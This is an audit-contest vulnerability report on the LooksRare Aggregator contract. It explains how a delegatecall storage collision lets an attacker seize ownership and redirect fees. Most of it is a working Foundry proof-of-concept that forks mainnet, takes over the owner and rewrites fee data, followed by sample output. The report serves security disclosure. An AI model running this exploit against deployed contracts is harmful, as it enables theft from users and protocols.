LooksRare Aggregator contest - fs0c's results

Lines of code

https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L88 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L158

Vulnerability details

The delegatecall in LooksRareAggregator can be used to change the owner of the contract. If the first storage slot of GenericMarketProxy is modified using the delegatecall then the owner variable of LooksRareAggregator would be modified.

After becoming the owner the attacker can set _proxyFunctionSelectors to true to any functions they want.

This can further be used to delegatecall to an attackers controlled contract which would modify the storage of all _proxyFeeData , and change the bp of any proxy to be greater than 10000 and reciepent as the attacker address.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import {IERC721} from "../../contracts/interfaces/IERC721.sol";
import {IERC1155} from "../../contracts/interfaces/IERC1155.sol";
import {LooksRareAggregator} from "../../contracts/LooksRareAggregator.sol";
import {LooksRareProxy} from "../../contracts/proxies/LooksRareProxy.sol";
import {SeaportProxy} from "../../contracts/proxies/SeaportProxy.sol";
import {TokenReceiver} from "../../contracts/TokenReceiver.sol";
import {TokenRescuer} from "../../contracts/TokenRescuer.sol";
import {ReentrancyGuard} from "../../contracts/ReentrancyGuard.sol";
import {ILooksRareAggregator} from "../../contracts/interfaces/ILooksRareAggregator.sol";
import {BasicOrder, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol";
import {MockERC20} from "./utils/MockERC20.sol";
import {LowLevelERC20Approve} from "../../contracts/lowLevelCallers/LowLevelERC20Approve.sol";
import {BasicOrder, FeeData, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol";
import {LowLevelERC721Transfer} from "../../contracts/lowLevelCallers/LowLevelERC721Transfer.sol";
import {LowLevelERC1155Transfer} from "../../contracts/lowLevelCallers/LowLevelERC1155Transfer.sol";
import {TestHelpers} from "./TestHelpers.sol";
import {TestParameters} from "./TestParameters.sol";
import {LooksRareProxyTestHelpers} from "./LooksRareProxyTestHelpers.sol";
import {SeaportProxyTestHelpers} from "./SeaportProxyTestHelpers.sol";
import {ScamRecipient} from "./utils/ScamRecipient.sol";

/**
 * @notice LooksRareAggregator execution fail scenarios
 */
contract LooksRareAggregatorTradesTest is
    TestParameters,
    TestHelpers,
    LooksRareProxyTestHelpers,
    SeaportProxyTestHelpers
{
    LooksRareAggregator private aggregator;
    FakeLooksRareAggregator public fakeaggregator;

    function testExecuteZeroOriginator() public {
        emit log_address(address(this));
        vm.createSelectFork(vm.rpcUrl("mainnet"), 15_282_897);

        aggregator = new LooksRareAggregator();

        GenericMarketPlaceProxy genericproxy = new GenericMarketPlaceProxy();
        LooksRareProxy looksRareProxy = new LooksRareProxy(LOOKSRARE_V1, address(aggregator));

        aggregator.setFee( address(looksRareProxy) , 1000 , address(aggregator));
        // Since we are forking mainnet, we have to make sure it has 0 ETH.
        vm.deal(address(genericproxy), 0);

        aggregator.addFunction(address(genericproxy), GenericMarketPlaceProxy.execute.selector);

        TokenTransfer[] memory tokenTransfers = new TokenTransfer[](0);
        BasicOrder[] memory validOrders = validBAYCOrders();
        BasicOrder[] memory orders = new BasicOrder[](1);
        orders[0] = validOrders[0];

        bytes[] memory ordersExtraData = new bytes[](1);
        ordersExtraData[0] = abi.encode(orders[0].price, 9550, 0, LOOKSRARE_STRATEGY_FIXED_PRICE);

        ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1);
        tradeData[0] = ILooksRareAggregator.TradeData({
            proxy: address(genericproxy),
            selector: GenericMarketPlaceProxy.execute.selector,
            value: orders[0].price,
            maxFeeBp: 0,
            orders: orders,
            ordersExtraData: ordersExtraData,
            extraData: ""
        });

        vm.deal(_buyer, orders[0].price);
        vm.prank(_buyer);
        vm.expectEmit(true, false, false, false);
        emit Sweep(_buyer);
        aggregator.execute{value: orders[0].price}(tokenTransfers, tradeData, address(0), _buyer, false);
        emit log_address(address(_buyer));
        emit log_address(aggregator.owner()); // now the _buyer has become the owner of the contract LooksRareAggregator.

        vm.startPrank(_buyer);

        fakeaggregator = new FakeLooksRareAggregator();
        aggregator.addFunction(address(fakeaggregator), FakeLooksRareAggregator.execute.selector);

        TokenTransfer[] memory tokenTransfers1 = new TokenTransfer[](0);
        BasicOrder[] memory validOrders1 = validBAYCOrders();
        BasicOrder[] memory orders1 = new BasicOrder[](1);
        orders1[0] = validOrders1[0];

        bytes[] memory ordersExtraData1 = new bytes[](1);
        ordersExtraData1[0] = abi.encode(orders1[0].price, 9550, 0, LOOKSRARE_STRATEGY_FIXED_PRICE);
        bytes memory extraData1 = abi.encode(100000000, address(_buyer) , address(looksRareProxy) );

        ILooksRareAggregator.TradeData[] memory tradeData1 = new ILooksRareAggregator.TradeData[](1);
        tradeData1[0] = ILooksRareAggregator.TradeData({
            proxy: address(fakeaggregator),
            selector: FakeLooksRareAggregator.execute.selector,
            value: orders1[0].price,
            maxFeeBp: 0,
            orders: orders1,
            ordersExtraData: ordersExtraData1,
            extraData: extraData1
        });

        vm.deal(_buyer, orders1[0].price);
        vm.expectEmit(true, false, false, false);
        emit Sweep(_buyer);

        // now let's check the bp and reciepient before attack
        // uint256 bpcheck1 = aggregator.getFeebp(address(looksRareProxy));
        // address recipientcheck1 = aggregator.getFeerecipient(address(looksRareProxy));
        // emit log_uint(bpcheck1);
        // emit log_address(recipientcheck1);
        aggregator.execute{value: orders1[0].price}(tokenTransfers1, tradeData1, address(0), _buyer, false);

        // now let's check the bp and reciepient after attack
        uint256 bpcheck2 = aggregator.getFeebp(address(looksRareProxy));
        address recipientcheck2 = aggregator.getFeerecipient(address(looksRareProxy));
        emit log_uint(bpcheck2);
        emit log_address(recipientcheck2);
    }
}

contract FakeLooksRareAggregator is
    TokenRescuer,
    TokenReceiver,
    ReentrancyGuard,
    LowLevelERC20Approve,
    LowLevelERC721Transfer,
    LowLevelERC1155Transfer{

    address public erc20EnabledLooksRareAggregator;
    mapping(address => mapping(bytes4 => bool)) private _proxyFunctionSelectors;
    mapping(address => FeeData) private _proxyFeeData;

    constructor () public {}

    function execute(
        BasicOrder[] calldata orders,
        bytes[] calldata ordersExtraData,
        bytes memory extraData,
        address recipient,
        bool isAtomic,
        uint256,
        address
    ) external payable {
        uint256 feebp;
        address feerecipient;
        address looksrare;
        (feebp,feerecipient,looksrare) = abi.decode(extraData, (uint256, address,address));
        _proxyFeeData[looksrare].bp = feebp;
        _proxyFeeData[looksrare].recipient = feerecipient;
    }

}

contract GenericMarketPlaceProxy {
    address currentrecipient;

    constructor () public {}

    function execute(
        BasicOrder[] calldata orders,
        bytes[] calldata ordersExtraData,
        bytes memory,
        address recipient,
        bool isAtomic,
        uint256,
        address
    ) external payable {
        currentrecipient = recipient;
        // rest of the function
    }
}

The output should look like this:

[PASS] testExecuteZeroOriginator() (gas: 6033117)
Logs:
  0xb4c79dab8f259c7aee6e5b2aa729821864227e84 // original owner of LooksRareAggregator
  0x38dee936aa3d8e6370524a7cba38c96a896d9d9f // _buyer/attacker address
  0x38dee936aa3d8e6370524a7cba38c96a896d9d9f // owner of LooksRareAggregator after attack
  100000000                                  // modified bp of looksRareProxy after attack (greater than 10000)
  0x38dee936aa3d8e6370524a7cba38c96a896d9d9f // modified reciepient of looksRareProxy after attack

Note : Here I’ve modified the LooksRareAggergator.sol and added two new functions to show the proxyfee values . This is just to showcase the working of exploit.

diff --git a/contracts/LooksRareAggregator.sol b/contracts/LooksRareAggregator.sol
index f215f39..e745b96 100644
--- a/contracts/LooksRareAggregator.sol
+++ b/contracts/LooksRareAggregator.sol
@@ -162,6 +162,14 @@ contract LooksRareAggregator is
         emit FeeUpdated(proxy, bp, recipient);
     }
 
+    function getFeebp(address proxy) view public returns(uint256) {
+        return _proxyFeeData[proxy].bp;
+    }
+
+    function getFeerecipient(address proxy) view public returns(address) {
+        return _proxyFeeData[proxy].recipient;
+    }
+
     /**
      * @notice Approve marketplaces to transfer ERC20 tokens from the aggregator
      * @param marketplace The marketplace address to approve

Recommendations

Its hard to tell how this can be mitigated. Possibily checking the stored fee value during every transaction can solve the issue.